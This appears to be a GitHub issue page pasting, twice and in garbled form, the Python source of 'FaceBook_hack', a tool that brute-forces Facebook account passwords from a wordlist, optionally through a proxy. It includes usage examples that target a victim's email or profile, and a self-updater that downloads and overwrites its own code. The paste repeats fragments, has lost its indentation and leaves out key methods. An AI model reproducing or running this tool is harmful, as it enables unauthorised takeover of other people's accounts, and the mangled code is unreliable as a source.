You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
[>] Target :> """+wi+target+gr+"""
{}""".format("[>] Wordlist :> "+yl+str(wordlist) if not single_passwd else "[>] Password :> "+yl+str(single_passwd))+gr+"""
[>] ProxyStatus :> """+str(proxystatus)+wi)
if not single_passwd:
print(gr+"""
=================================="""+wi+"""
[] """+yl+"""Brute"""+rd+""" ForceATTACK: """+gr+"""Enabled """+wi+"""[]"""+gr+"""
==================================\n"""+wi)
else:print("\n")
@staticmethod
def updateFacebook_hack():
if not os.path.isfile(versionPath):
errMsg("Unable to check for updates: please re-clone the script to fix this problem")
sys.exit(1)
write("[~] Checking for updates...\n")
conn = httplib.HTTPSConnection("raw.githubusercontent.com")
conn.request("GET", "/Oseid/Facebook_hack/master/core/version.txt")
repoVersion = conn.getresponse().read().strip().decode()
with open(versionPath) as vf:
currentVersion = vf.read().strip()
if repoVersion == currentVersion:write(" [*] The script is up to date!\n")
else:
print(" [+] An update has been found ::: Updating... ")
conn.request("GET", "/Oseid/FaceBook_hack/master/facebook_hack.py")
newCode = conn.getresponse().read().strip().decode()
with open("facebook_hack.py", "w") as facebook_hackScript:
faceBook_hackScript.write(newCode)
with open(versionPath, "w") as ver:
ver.write(repoVersion)
write(" [+] Successfully updated :)\n")
def Main():
parse.add_option("-t","--target",'-T','--TARGET',dest="target",type="string",
help="Specify Target Email or ID")
parse.add_option("-w","--wordlist",'-W','--WORDLIST',dest="wordlist",type="string",
help="Specify Wordlist File ")
parse.add_option("-s","--single","--S","--SINGLE",dest="single",type="string",
help="Specify Single Password To Check it")
parse.add_option("-p","-P","--proxy","--PROXY",dest="proxy",type="string",
help="Specify HTTP/S Proxy to be used")
parse.add_option("-g","-G","--getid","--GETID",dest="url",type="string",
help="Specify TARGET FACEBOOK PROFILE URL to get his ID")
parse.add_option("-u","-U","--update","--UPDATE", dest="update", action="store_true", default=False)
(options,args) = parse.parse_args()
faceboom = FaceBoom()
target = options.target
wordlist = options.wordlist
single_passwd = options.single
proxy = options.proxy
target_profile = options.url
update = options.update
opts = [target,wordlist,single_passwd, proxy, target_profile, update]
if any(opt for opt in opts):
if not faceboom.cnet():
errMsg("Please Check Your Internet Connection")
sys.exit(1)
if update:
facebook_hack.updateFaceBook_hack()
sys.exit(1)
elif target_profile:
faceboom.get_profile_id(target_profile)
sys.exit(1)
elif wordlist or single_passwd:
if wordlist:
if not os.path.isfile(wordlist):
errMsg("Please check Your Wordlist Path")
sys.exit(1)
if single_passwd:
if len(single_passwd.strip()) < 6:
errMsg("Invalid Password")
print("[!] Password must be at least '6' characters long")
sys.exit(1)
if proxy:
if proxy.count(".") != 3:
errMsg("Invalid IPv4 ["+rd+str(proxy)+yl+"]")
sys.exit(1)
print(wi+"["+yl+"~"+wi+"] Connecting To "+wi+"Proxy[\033[1;33m {} \033[1;37m]...".format(proxy if not ":" in proxy else proxy.split(":")[0]))
final_proxy = proxy+":8080" if not ":" in proxy else proxy
if faceboom.check_proxy(final_proxy):
faceboom.useProxy = final_proxy
faceboom.br.set_proxies({'https':faceboom.useProxy, 'http':faceboom.useProxy})
print(wi+"["+gr+"Connected"+wi+"]")
else:
errMsg("Connection Failed")
errMsg("Unable to connect to Proxy["+rd+str(proxy)+yl+"]")
sys.exit(1)
faceboom.banner(target,wordlist,single_passwd)
loop = 1 if not single_passwd else "~"
if single_passwd:
passwords = [single_passwd]
else:
with io.open(wordlist, 'r', errors='replace') as f:
passwords = f.readlines()
for passwd in passwords:
passwd = passwd.strip()
if len(passwd) <6:continue
write(wi+"["+yl+str(loop)+wi+"] Trying Password[ {"+yl+str(passwd)+wi+"} ]")
retCode = faceboom.login(target, passwd)
if retCode:
sys.stdout.write(wi+" ==> Login"+gr+" Success\n")
print(wi+"========================="+"="*len(passwd)+"======")
print(wi+"["+gr+"+"+wi+"] Password [ "+gr+passwd+wi+" ]"+gr+" Is Correct :)")
print(wi+"========================="+"="*len(passwd)+"======")
if retCode == 2:print(wi+"["+yl+"!"+wi+"]"+yl+" Warning: This account use ("+rd+"2F Authentication"+yl+"):"+rd+" It's Locked"+yl+" !!!")
break
else:
sys.stdout.write(yl+" ==> Login"+rd+" Failed\n")
loop = loop + 1 if not single_passwd else "~"
else:
if single_passwd:
print(yl+"\n["+rd+"!"+yl+"] Sorry: "+wi+"The Password[ "+yl+passwd+wi+" ] Is Not Correct"+rd+":("+yl+"!"+wi)
print(gr+"["+yl+"!"+gr+"]"+yl+" Please Try Another password or Wordlist "+gr+":)"+wi)
else:
print(yl+"\n["+rd+"!"+yl+"] Sorry: "+wi+"I Can't Find The Correct Password In [ "+yl+wordlist+wi+" ] "+rd+":("+yl+"!"+wi)
print(gr+"["+yl+"!"+gr+"]"+yl+" Please Try Another Wordlist. "+gr+":)"+wi)
sys.exit(1)
else:
print(parse.usage)
sys.exit(1)
if name=='main':
Main()
##############################################################
##################### #########################
##################### END OF TOOL #########################
##################### #########################
##############################################################
#This Tool by Oseid Aldary
#Have a nice day :)
#GoodBye
The text was updated successfully, but these errors were encountered:
#!/usr/bin/python
import socket, sys, os, re, random, optparse, time, io
if sys.version_info.major <= 2:import httplib
else:import http.client as httplib
COLORS
wi="\033[1;37m" #>>White#
rd="\033[1;31m" #>Red #
gr="\033[1;32m" #>Green #
yl="\033[1;33m" #>Yellow#
#########################
os.system("cls||clear")
def write(text):
sys.stdout.write(text)
sys.stdout.flush()
versionPath = os.path.join("core", "version.txt")
errMsg = lambda msg: write(rd+"\n["+yl+"!"+rd+"] Error: "+yl+msg+rd+ " !!!\n"+wi)
try:import requests
except ImportError:
errMsg("[ requests ] module is missing")
print(" [] Please Use: 'pip install requests' to install it :)")
sys.exit(1)
try:import mechanize
except ImportError:
errMsg("[ mechanize ] module is missing")
print(" [] Please Use: 'pip install mechanize' to install it :)")
sys.exit(1)
class FaceBoom(object):
==================================
[---] """+wi+"""FaceBook_hack"""+gr+""" [---]
[---] """+wi+"""BruteForce Facebook """+gr+""" [---]
[---] """+yl+"""CONFIG"""+gr+""" [---]
[>] Target :> """+wi+target+gr+"""
{}""".format("[>] Wordlist :> "+yl+str(wordlist) if not single_passwd else "[>] Password :> "+yl+str(single_passwd))+gr+"""
[>] ProxyStatus :> """+str(proxystatus)+wi)
if not single_passwd:
print(gr+"""
=================================="""+wi+"""
[
] """+yl+"""Brute"""+rd+""" ForceATTACK: """+gr+"""Enabled """+wi+"""[]"""+gr+"""==================================\n"""+wi)
else:print("\n")
parse = optparse.OptionParser(wi+"""
Usage: python facebook_hack.py [OPTIONS...]
OPTIONS:
|
|--------
| -t [OR] ::> Specify target Email [OR] Target Profile ID
|--------
| -w ::> Specify Wordlist File Path
|--------
| -s ::> Specify Single Password To Check
|--------
| -p ::> Specify HTTP/S Proxy (Optional)
|--------
| -g ::> Specify Target Facebook Profile URL For Get HIS ID
|--------
| -u/--update ::> Update FaceBook_hack Script
Examples:
|
|--------
| python facebook_hack.py -t [email protected] -w /usr/share/wordlists/rockyou.txt
|--------
| python facebook_hack.py -t 100001013078780 -w C:\Users\Me\Desktop\wordlist.txt
|--------
| python facebook_hack.py -t [email protected] -w D:\wordlist.txt -p 144.217.101.245:3129
|--------
| python facebook_hack.py -t [email protected] -s 1234567
|--------
| python facebook_hack.py -g https://www.facebook.com/Victim_Profile
|--------
""")
def Main():
parse.add_option("-t","--target",'-T','--TARGET',dest="target",type="string",
help="Specify Target Email or ID")
parse.add_option("-w","--wordlist",'-W','--WORDLIST',dest="wordlist",type="string",
help="Specify Wordlist File ")
parse.add_option("-s","--single","--S","--SINGLE",dest="single",type="string",
help="Specify Single Password To Check it")
parse.add_option("-p","-P","--proxy","--PROXY",dest="proxy",type="string",
help="Specify HTTP/S Proxy to be used")
parse.add_option("-g","-G","--getid","--GETID",dest="url",type="string",
help="Specify TARGET FACEBOOK PROFILE URL to get his ID")
parse.add_option("-u","-U","--update","--UPDATE", dest="update", action="store_true", default=False)
(options,args) = parse.parse_args()
faceboom = FaceBoom()
target = options.target
wordlist = options.wordlist
single_passwd = options.single
proxy = options.proxy
target_profile = options.url
update = options.update
opts = [target,wordlist,single_passwd, proxy, target_profile, update]
if any(opt for opt in opts):
if not faceboom.cnet():
errMsg("Please Check Your Internet Connection")
sys.exit(1)
if update:
facebook_hack.updateFaceBook_hack()
sys.exit(1)
elif target_profile:
faceboom.get_profile_id(target_profile)
sys.exit(1)
elif wordlist or single_passwd:
if wordlist:
if not os.path.isfile(wordlist):
errMsg("Please check Your Wordlist Path")
sys.exit(1)
if single_passwd:
if len(single_passwd.strip()) < 6:
errMsg("Invalid Password")
print("[!] Password must be at least '6' characters long")
sys.exit(1)
if proxy:
if proxy.count(".") != 3:
errMsg("Invalid IPv4 ["+rd+str(proxy)+yl+"]")
sys.exit(1)
print(wi+"["+yl+"~"+wi+"] Connecting To "+wi+"Proxy[\033[1;33m {} \033[1;37m]...".format(proxy if not ":" in proxy else proxy.split(":")[0]))
final_proxy = proxy+":8080" if not ":" in proxy else proxy
if faceboom.check_proxy(final_proxy):
faceboom.useProxy = final_proxy
faceboom.br.set_proxies({'https':faceboom.useProxy, 'http':faceboom.useProxy})
print(wi+"["+gr+"Connected"+wi+"]")
else:
errMsg("Connection Failed")
errMsg("Unable to connect to Proxy["+rd+str(proxy)+yl+"]")
sys.exit(1)
else:
print(parse.usage)
sys.exit(1)
if name=='main':
Main()
##############################################################
##################### #########################
##################### END OF TOOL #########################
##################### #########################
##############################################################
#This Tool by Oseid Aldary
#Have a nice day :)
#GoodBye
The text was updated successfully, but these errors were encountered: